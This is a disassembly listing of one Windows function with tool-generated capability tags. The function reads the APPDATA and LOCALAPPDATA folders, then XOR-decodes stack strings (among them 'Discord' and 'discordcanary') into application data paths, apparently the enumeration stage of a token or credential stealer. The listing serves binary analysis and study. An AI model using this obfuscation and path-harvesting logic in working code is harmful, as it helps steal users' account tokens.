Function at 0x140025f28
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Create thread
Encode data using xor
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xdf8]
sub rsp, 0xed0
mov rax, qword [0x1400a0280]
xor rax, rsp
mov qword [rbp + 0xdc0], rax
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor ebx, ebx
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1e8]
mov qword [rsp + 0x78], rax
mov r8b, bl
call fcn.140003550
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8b, bl
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x78], rax
call fcn.140003550
xor eax, eax
mov dword [rsp + 0x68], 0x677d5014
mov byte [rsp + 0x70], al
lea r12d, [rbx + 7]
mov cl, setsockopt
mov dword [rsp + 0x6c], 0x70667b77
xor byte [rsp + rax + 0x69], cl
inc rax
cmp rax, r12
jae 0x140025fdb
mov cl, byte [rsp + 0x68]
jmp 0x140025fc9
lea rax, [rsp + 0x69]
mov byte [rsp + 0x70], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x238]
call fcn.140003550
lea r8, [rbp + 0x238]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd40]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x60], 0x38222f4b
mov byte [rbp - 0x52], al
mov cl, 0x4b
mov dword [rbp - 0x5c], 0x2f392428
mov r13b, 0x25
mov dword [rbp - 0x58], 0x2a252a28
mov word [rbp - 0x54], 0x3239
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xd
jae 0x14002604e
mov cl, byte [rbp - 0x60]
jmp 0x14002603c
lea rax, [rbp - 0x5f]
mov byte [rbp - 0x52], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x258]
call fcn.140003550
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd60]
call fcn.140012848
mov cl, select
mov dword [rbp - 0x80], 0x62787511
mov rax, rbx
mov dword [rbp - 0x7c], 0x75637e72
mov edx, 0xa
mov dword [rbp - 0x78], 0x736561
xor byte [rbp + rax - 0x7f], cl
inc rax
cmp rax, rdx
jae 0x1400260b8
mov cl, byte [rbp - 0x80]
jmp 0x1400260a7
lea rax, [rbp - 0x7f]
mov byte [rbp - 0x75], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x278]
call fcn.140003550
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd80]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x70], 0x4a44612d
mov byte [rbp - 0x66], al
mov cl, 0x2d
mov dword [rbp - 0x6c], 0x424e5945
mov word [rbp - 0x68], 0x495f
xor byte [rbp + rax - 0x6f], cl
inc rax
cmp rax, 9
jae 0x14002611f
mov cl, byte [rbp - 0x70]
jmp 0x14002610d
lea rax, [rbp - 0x6f]
mov byte [rbp - 0x66], bl
mov r8b, bl
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x298]
call fcn.140003550
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xda0]
call fcn.140012848
lea rcx, [rbp + 0x298]
call fcn.14001d628
lea rcx, [rbp + 0x278]
call fcn.14001d628
lea rcx, [rbp + 0x258]
call fcn.14001d628
lea rcx, [rbp + 0x238]
call fcn.14001d628
mov cl, 0x5a
mov dword [rbp - 0x60], 0x3f2a155a
mov rax, rbx
mov dword [rbp - 0x5c], 0x97a3b28
mov dword [rbp - 0x58], 0x36383b2e
mov word [rbp - 0x54], 0x3f
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xc
jae 0x1400261bb
mov cl, byte [rbp - 0x60]
jmp 0x1400261a9
lea rax, [rbp - 0x5f]
mov byte [rbp - 0x53], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x818]
call fcn.140003550
movdqa xmm0, xmmword [0x1400824b0]
mov rcx, rbx
movdqu xmmword [rbp + 0x228], xmm0
mov al, byte [rbp + 0x228]
xor byte [rbp + rcx + 0x229], al
inc rcx
cmp rcx, 0xe
jb 0x1400261ee
lea rax, [rbp + 0x229]
mov byte [rbp + 0x237], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7f8]
call fcn.140003550
cmp qword [rbp + 0x220], r12
lea rdx, [rbp + 0x208]
mov r8, qword [rbp + 0x218]
lea rcx, [rbp + 0x298]
cmova rdx, qword [rbp + 0x208]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x298], xmm0
movdqu xmmword [rbp + 0x2a8], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x298]
call fcn.1400145b0
cmp qword [rbp + 0x2b0], r12
lea r14, [rbp + 0x298]
mov rdi, qword [rbp + 0x2a8]
movabs rsi, 0x7ffffffffffffffe
cmova r14, qword [rbp + 0x298]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb40], xmm0
cmp rdi, rsi
ja 0x1400280ec
movabs r15, 0x7fffffffffffffff
cmp rdi, r12
ja 0x1400262da
mov qword [rbp + 0xb58], r12
lea rax, [rbp + 0xb40]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026340
mov rbx, rdi
or rbx, r12
cmp rbx, rsi
jbe 0x1400262ee
mov rbx, rsi
lea rcx, [r15 + r15]
jmp 0x140026313
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r15
ja 0x1400280e6
add rcx, rcx
cmp rcx, 0x1000
jb 0x14002631a
call fcn.140002644
jmp 0x140026328
test rcx, rcx
je 0x140026326
call fcn.14007a978
jmp 0x140026328
xor eax, eax
mov qword [rbp + 0xb58], rbx
lea r8, [rdi*2 + 2]
xor ebx, ebx
mov qword [rbp + 0xb40], rax
mov rdx, r14
mov qword [rbp + 0xb50], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x818]
lea rcx, [rbp + 0xb40]
call fcn.1400145b0
movdqa xmm0, xmmword [str.C_f31_c]
xor eax, eax
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1e0], al
mov rcx, rbx
mov al, byte [rbp + 0x1d0]
xor byte [rbp + rcx + 0x1d1], al
inc rcx
cmp rcx, 0xf
jb 0x140026380
lea rax, [rbp + 0x1d1]
mov byte [rbp + 0x1e0], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7d8]
call fcn.140003550
movdqa xmm0, xmmword [0x140082480]
mov rcx, rbx
movdqu xmmword [rbp + 0x1c0], xmm0
mov al, byte [rbp + 0x1c0]
xor byte [rbp + rcx + 0x1c1], al
inc rcx
cmp rcx, 0xe
jb 0x1400263cf
lea rax, [rbp + 0x1c1]
mov byte [rbp + 0x1cf], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7b8]
call fcn.140003550
cmp qword [rbp + 0x220], r12
lea rdx, [rbp + 0x208]
mov r8, qword [rbp + 0x218]
lea rcx, [rbp + 0x278]
cmova rdx, qword [rbp + 0x208]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x278], xmm0
movdqu xmmword [rbp + 0x288], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x278]
call fcn.1400145b0
cmp qword [rbp + 0x290], r12
lea r14, [rbp + 0x278]
mov rdi, qword [rbp + 0x288]
xorps xmm0, xmm0
cmova r14, qword [rbp + 0x278]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb70], xmm1
movups xmmword [rbp + 0xb60], xmm0
cmp rdi, rsi
ja 0x1400280ec
cmp rdi, r12
ja 0x1400264b2
mov qword [rbp + 0xb78], r12
lea rax, [rbp + 0xb60]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026518
mov rbx, rdi
or rbx, r12
cmp rbx, rsi
jbe 0x1400264c6
mov rbx, rsi
lea rcx, [r15 + r15]
jmp 0x1400264eb
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r15
ja 0x1400280e6
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400264f2
call fcn.140002644
jmp 0x140026500
test rcx, rcx
je 0x1400264fe
call fcn.14007a978
jmp 0x140026500
xor eax, eax
mov qword [rbp + 0xb78], rbx
lea r8, [rdi*2 + 2]
xor ebx, ebx
mov qword [rbp + 0xb60], rax
mov rdx, r14
mov qword [rbp + 0xb70], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x7d8]
lea rcx, [rbp + 0xb60]
call fcn.1400145b0
xor eax, eax
mov dword [rbp + 0x88], 0x61775104
mov byte [rbp + 0x92], al
mov cl, 4
mov rax, rbx
mov dword [rbp + 0x8c], 0x65402476
mov r15b, 0x51
mov word [rbp + 0x90], 0x6570
mov r12b, 0x76
xor byte [rbp + rax + 0x89], cl
inc rax
cmp rax, 9
jae 0x140026585
mov cl, byte [rbp + 0x88]
jmp 0x14002656d
lea rax, [rbp + 0x89]
mov byte [rbp + 0x92], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x798]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x80], 0x1a1e3273
mov byte [rbp + 0x86], al
mov cl, reloc.WS2_32.dll_WSAStartup
mov rax, rbx
mov word [rbp + 0x84], 0x1c14
xor byte [rbp + rax + 0x81], cl
inc rax
cmp rax, 5
jae 0x1400265e3
mov cl, byte [rbp + 0x80]
jmp 0x1400265cb
lea rax, [rbp + 0x81]
mov byte [rbp + 0x86], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x778]
call fcn.140003550
cmp qword [rbp + 0x200], 7
lea rdx, [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x258]
cmova rdx, qword [rbp + 0x1e8]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x258], xmm0
movdqu xmmword [rbp + 0x268], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x778]
lea rcx, [rbp + 0x258]
call fcn.1400145b0
mov rdi, qword [rbp + 0x268]
lea r14, [rbp + 0x258]
mov eax, 7
xorps xmm0, xmm0
cmp qword [rbp + 0x270], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0xb80], xmm0
cmova r14, qword [rbp + 0x258]
movdqa xmmword [rbp + 0xb90], xmm1
cmp rdi, rsi
ja 0x1400280ec
cmp rdi, rax
ja 0x1400266b6
mov qword [rbp + 0xb98], rax
mov r8d, reloc.WS2_32.dll_recv
lea rax, [rbp + 0xb80]
jmp 0x140026730
mov rbx, rdi
or rbx, rax
cmp rbx, rsi
jbe 0x1400266d4
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x140026703
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280e6
add rcx, rcx
cmp rcx, 0x1000
jb 0x14002670a
call fcn.140002644
jmp 0x140026718
test rcx, rcx
je 0x140026716
call fcn.14007a978
jmp 0x140026718
xor eax, eax
mov qword [rbp + 0xb98], rbx
lea r8, [rdi*2 + 2]
xor ebx, ebx
mov qword [rbp + 0xb80], rax
mov rdx, r14
mov qword [rbp + 0xb90], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x798]
lea rcx, [rbp + 0xb80]
call fcn.1400145b0
xor eax, eax
mov dword [rbp + 0x98], 0x70664015
mov byte [rbp + 0xa2], al
mov cl, reloc.WS2_32.dll_setsockopt
mov rax, rbx
mov dword [rbp + 0x9c], 0x74513567
mov word [rbp + 0xa0], 0x7461
xor byte [rbp + rax + 0x99], cl
inc rax
cmp rax, 9
jae 0x140026797
mov cl, byte [rbp + 0x98]
jmp 0x14002677f
lea rax, [rbp + 0x99]
mov byte [rbp + 0xa2], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x758]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x68], 0x19043f6b
mov byte [rbp + 0x6e], al
mov cl, 0x6b
mov rax, rbx
mov word [rbp + 0x6c], 0x308
xor byte [rbp + rax + 0x69], cl
inc rax
cmp rax, 5
jae 0x1400267e6
mov cl, byte [rbp + 0x68]
jmp 0x1400267d4
lea rax, [rbp + 0x69]
mov byte [rbp + 0x6e], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x738]
call fcn.140003550
mov r8, qword [rbp + 0x1f8]
lea rdx, [rbp + 0x1e8]
xorps xmm0, xmm0
lea rcx, [rbp + 0x238]
xorps xmm1, xmm1
mov r14d, 7
cmp qword [rbp + 0x200], r14
movups xmmword [rbp + 0x238], xmm0
cmova rdx, qword [rbp + 0x1e8]
movdqu xmmword [rbp + 0x248], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x738]
lea rcx, [rbp + 0x238]
call fcn.1400145b0
cmp qword [rbp + 0x250], r14
lea rdi, [rbp + 0x238]
mov rbx, qword [rbp + 0x248]
xorps xmm0, xmm0
cmova rdi, qword [rbp + 0x238]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xbb0], xmm1
movups xmmword [rbp + 0xba0], xmm0
cmp rbx, rsi
ja 0x1400280ec
cmp rbx, r14
ja 0x1400268b1
mov qword [rbp + 0xbb8], r14
lea rax, [rbp + 0xba0]
lea r8d, [r14 + 9]
jmp 0x140026929
mov rax, rbx
or rax, r14
cmp rax, rsi
jbe 0x1400268cc
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400268fe
mov ecx, 0xa
mov rsi, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, rax
ja 0x1400280e6
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026905
call fcn.140002644
jmp 0x140026913
test rcx, rcx
je 0x140026911
call fcn.14007a978
jmp 0x140026913
xor eax, eax
mov qword [rbp + 0xba0], rax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0xbb8], rsi
mov rdx, rdi
mov qword [rbp + 0xbb0], rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x758]
lea rcx, [rbp + 0xba0]
call fcn.1400145b0
xor eax, eax
mov dword [rbp + 0x148], 0x70664015
mov byte [rbp + 0x152], al
xor edi, edi
mov cl, reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0x14c], 0x74513567
mov word [rbp + 0x150], 0x7461
xor byte [rbp + rax + 0x149], cl
inc rax
cmp rax, 9
jae 0x14002698f
mov cl, byte [rbp + 0x148]
jmp 0x140026977
lea rax, [rbp + 0x149]
mov byte [rbp + 0x152], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x718]
call fcn.140003550
mov cl, 0x32
mov dword [rbp - 0x40], 0x5f5d7932
mov rax, rdi
mov dword [rbp - 0x3c], 0x534657
mov bl, 0x5d
xor byte [rbp + rax - 0x3f], cl
inc rax
cmp rax, 6
jae 0x1400269dd
mov cl, byte [rbp - 0x40]
jmp 0x1400269cb
lea rax, [rbp - 0x3f]
mov byte [rbp - 0x39], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6f8]
call fcn.140003550
lea r8, [rbp + 0x6f8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xb18]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x718]
lea rcx, [rbp + 0xbc0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x138], 0x4b5d7b2e
mov byte [rbp + 0x142], al
mov cl, 0x2e
mov sil, 0x5c
mov dword [rbp + 0x13c], 0x4f6a0e5c
mov r14b, 0x4f
mov word [rbp + 0x140], 0x4f5a
xor byte [rbp + rax + 0x139], cl
inc rax
cmp rax, 9
jae 0x140026a73
mov cl, byte [rbp + 0x138]
jmp 0x140026a5b
lea rax, [rbp + 0x139]
mov byte [rbp + 0x142], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x18], 0x77675a15
mov byte [rbp + 0x20], al
mov cl, reloc.WS2_32.dll_setsockopt
mov dword [rbp + 0x1c], 0x7860617c
xor byte [rbp + rax + 0x19], cl
inc rax
cmp rax, 7
jae 0x140026ac1
mov cl, byte [rbp + 0x18]
jmp 0x140026aaf
lea rax, [rbp + 0x19]
mov byte [rbp + 0x20], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6b8]
call fcn.140003550
lea r8, [rbp + 0x6b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xaf8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x6d8]
lea rcx, [rbp + 0xbe0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x128], 0x34220451
mov byte [rbp + 0x132], al
mov dword [rbp + 0x12c], 0x30157123
mov word [rbp + 0x130], 0x3025
xor byte [rbp + rax + 0x129], r15b
inc rax
cmp rax, 9
jae 0x140026b51
mov r15b, byte [rbp + 0x128]
jmp 0x140026b37
lea rax, [rbp + 0x129]
mov byte [rbp + 0x132], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x698]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x178], 0xc072162
mov byte [rbp + 0x184], al
xor r15d, r15d
mov cl, 0x62
mov dword [rbp + 0x17c], 0xd102016
mov edi, ntohs
mov dword [rbp + 0x180], 0x10071115
xor byte [rbp + rax + 0x179], cl
inc rax
cmp rax, 0xb
jae 0x140026bc0
mov cl, byte [rbp + 0x178]
jmp 0x140026ba8
lea rax, [rbp + 0x179]
mov byte [rbp + 0x184], r15b
mov r8b, r15b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x678]
call fcn.140003550
lea r8, [rbp + 0x678]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xad8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x698]
lea rcx, [rbp + 0xc00]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x118], 0x20361045
mov byte [rbp + 0x122], al
mov cl, 0x45
mov dword [rbp + 0x11c], 0x24016537
mov word [rbp + 0x120], 0x2431
xor byte [rbp + rax + 0x119], cl
inc rax
cmp rax, 9
jae 0x140026c56
mov cl, byte [rbp + 0x118]
jmp 0x140026c3e
lea rax, [rbp + 0x119]
mov byte [rbp + 0x122], r15b
mov r8b, r15b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x658]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x70], 0x4234770
mov byte [rbp + 0x76], al
mov cl, reloc.WS2_32.dll_WSASetLastError
mov word [rbp + 0x74], 0x211
xor byte [rbp + rax + 0x71], cl
inc rax
cmp rax, 5
jae 0x140026ca3
mov cl, byte [rbp + 0x70]
jmp 0x140026c91
lea rax, [rbp + 0x71]
mov byte [rbp + 0x76], r15b
mov r8b, r15b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x638]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x78], 0x6c4b2f18
mov byte [rbp + 0x7e], al
mov cl, 0x18
mov word [rbp + 0x7c], 0x6a79
xor byte [rbp + rax + 0x79], cl
inc rax
cmp rax, 5
jae 0x140026cea
mov cl, byte [rbp + 0x78]
jmp 0x140026cd8
lea rax, [rbp + 0x79]
mov byte [rbp + 0x7e], r15b
mov r8b, r15b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x618]
call fcn.140003550
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xab8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x638]
lea rcx, [rbp + 0xa98]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0xc20]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x158], 0x13052376
mov byte [rbp + 0x162], al
mov dword [rbp + 0x15c], 0x17325604
mov word [rbp + 0x160], 0x1702
xor byte [rbp + rax + 0x159], r12b
inc rax
cmp rax, 9
jae 0x140026d90
mov r12b, byte [rbp + 0x158]
jmp 0x140026d76
xor r12d, r12d
lea rax, [rbp + 0x159]
mov r8b, r12b
mov byte [rbp + 0x162], r12b
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0x5f8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x28], 0x56537023
mov byte [rbp + 0x30], al
mov cl, 0x23
mov dword [rbp + 0x2c], 0x484a4d57
xor byte [rbp + rax + 0x29], cl
inc rax
cmp rax, 7
jae 0x140026de1
mov cl, byte [rbp + 0x28]
jmp 0x140026dcf
lea rax, [rbp + 0x29]
mov byte [rbp + 0x30], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x38], 0x595c7f2c
mov byte [rbp + 0x40], al
mov cl, 0x2c
mov dword [rbp + 0x3c], 0x47454258
xor byte [rbp + rax + 0x39], cl
inc rax
cmp rax, 7
jae 0x140026e29
mov cl, byte [rbp + 0x38]
jmp 0x140026e17
lea rax, [rbp + 0x39]
mov byte [rbp + 0x40], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5b8]
call fcn.140003550
lea r8, [rbp + 0x5b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xa78]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x5d8]
lea rcx, [rbp + 0xa58]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x5f8]
lea rcx, [rbp + 0xc40]
call fcn.140012848
mov r15b, 0x50
mov dword [rbp + 0x49], 0x31363514
mov cl, r15b
mov dword [rbp + 0x4d], 0x243c25
mov byte [rbp + 0x48], cl
mov rax, r12
xor byte [rbp + rax + 0x49], cl
inc rax
cmp rax, 7
jae 0x140026ebc
mov cl, byte [rbp + 0x48]
jmp 0x140026eaa
lea rax, [rbp + 0x49]
mov byte [rbp + 0x50], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x598]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xa8], 0xc1a3c69
mov byte [rbp + 0xb2], al
mov cl, 0x69
mov dword [rbp + 0xac], 0x82d491b
mov word [rbp + 0xb0], 0x81d
xor byte [rbp + rax + 0xa9], cl
inc rax
cmp rax, 9
jae 0x140026f1c
mov cl, byte [rbp + 0xa8]
jmp 0x140026f04
lea rax, [rbp + 0xa9]
mov byte [rbp + 0xb2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x578]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x58], 0x534c7325
mov byte [rbp + 0x60], al
mov dword [rbp + 0x5c], 0x4c414944
xor byte [rbp + rax + 0x59], r13b
inc rax
cmp rax, 7
jae 0x140026f6a
mov r13b, byte [rbp + 0x58]
jmp 0x140026f56
lea rax, [rbp + 0x59]
mov byte [rbp + 0x60], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x558]
call fcn.140003550
lea r8, [rbp + 0x558]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xa38]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x578]
lea rcx, [rbp + 0xa18]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x598]
lea rcx, [rbp + 0xc60]
call fcn.140012848
mov r13b, 0x7d
mov dword [rbp + 0xb9], 0xf180e28
mov cl, r13b
mov dword [rbp + 0xbd], 0x91c395d
mov byte [rbp + 0xb8], cl
mov rax, r12
mov word [rbp + 0xc1], 0x1c
xor byte [rbp + rax + 0xb9], cl
inc rax
cmp rax, 9
jae 0x140027015
mov cl, byte [rbp + 0xb8]
jmp 0x140026ffd
lea rax, [rbp + 0xb9]
mov byte [rbp + 0xc2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x538]
call fcn.140003550
mov cl, 0x43
mov dword [rbp + 0x168], 0x312b0043
mov rax, r12
mov dword [rbp + 0x16c], 0x63262e2c
mov dword [rbp + 0x170], 0x103b10
xor byte [rbp + rax + 0x169], cl
inc rax
cmp rax, 0xa
jae 0x140027077
mov cl, byte [rbp + 0x168]
jmp 0x14002705f
lea rax, [rbp + 0x169]
mov byte [rbp + 0x173], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x518]
call fcn.140003550
mov cl, ntohs
mov dword [rbp - 0x38], 0x6161490e
mov rax, r12
mov dword [rbp - 0x34], 0x6b6269
xor byte [rbp + rax - 0x37], cl
inc rax
cmp rax, 6
jae 0x1400270c3
mov cl, byte [rbp - 0x38]
jmp 0x1400270b1
lea rax, [rbp - 0x37]
mov byte [rbp - 0x31], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4f8]
call fcn.140003550
lea r8, [rbp + 0x4f8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x9f8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x518]
lea rcx, [rbp + 0x9d8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x538]
lea rcx, [rbp + 0xc80]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x18], 0x3b38195d
mov byte [rbp - 0x10], al
mov dword [rbp - 0x14], 0x2931283c
xor byte [rbp + rax - 0x17], bl
inc rax
cmp rax, 7
jae 0x14002714f
mov bl, byte [rbp - 0x18]
jmp 0x14002713d
lea rax, [rbp - 0x17]
mov byte [rbp - 0x10], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xc8], 0x16002673
mov byte [rbp + 0xd2], al
mov cl, reloc.WS2_32.dll_WSAStartup
mov dword [rbp + 0xcc], 0x12375301
mov word [rbp + 0xd0], 0x1207
xor byte [rbp + rax + 0xc9], cl
inc rax
cmp rax, 9
jae 0x1400271af
mov cl, byte [rbp + 0xc8]
jmp 0x140027197
lea rax, [rbp + 0xc9]
mov byte [rbp + 0xd2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4b8]
call fcn.140003550
mov cl, 0x5a
mov dword [rbp - 0x30], 0x2832195a
mov rax, r12
mov dword [rbp - 0x2c], 0x3f3735
xor byte [rbp + rax - 0x2f], cl
inc rax
cmp rax, 6
jae 0x1400271fb
mov cl, byte [rbp - 0x30]
jmp 0x1400271e9
lea rax, [rbp - 0x2f]
mov byte [rbp - 0x29], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x498]
call fcn.140003550
xor ebx, ebx
mov dword [rbp - 0x28], 0x63634b0c
mov eax, ebx
mov dword [rbp - 0x24], 0x69606b
mov r12b, 0x4b
xor byte [rbp + rax - 0x27], dil
inc rax
cmp rax, 6
jae 0x140027245
mov dil, byte [rbp - 0x28]
jmp 0x140027231
lea rax, [rbp - 0x27]
mov byte [rbp - 0x21], bl
mov r8b, bl
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x478]
call fcn.140003550
lea r8, [rbp + 0x478]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x9b8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x498]
lea rcx, [rbp + 0x998]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x4b8]
lea rcx, [rbp + 0x978]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x4d8]
lea rcx, [rbp + 0xca0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0xd8], 0x77614712
mov byte [rbp + 0xe2], al
mov cl, reloc.WS2_32.dll_select
mov dword [rbp + 0xdc], 0x73563260
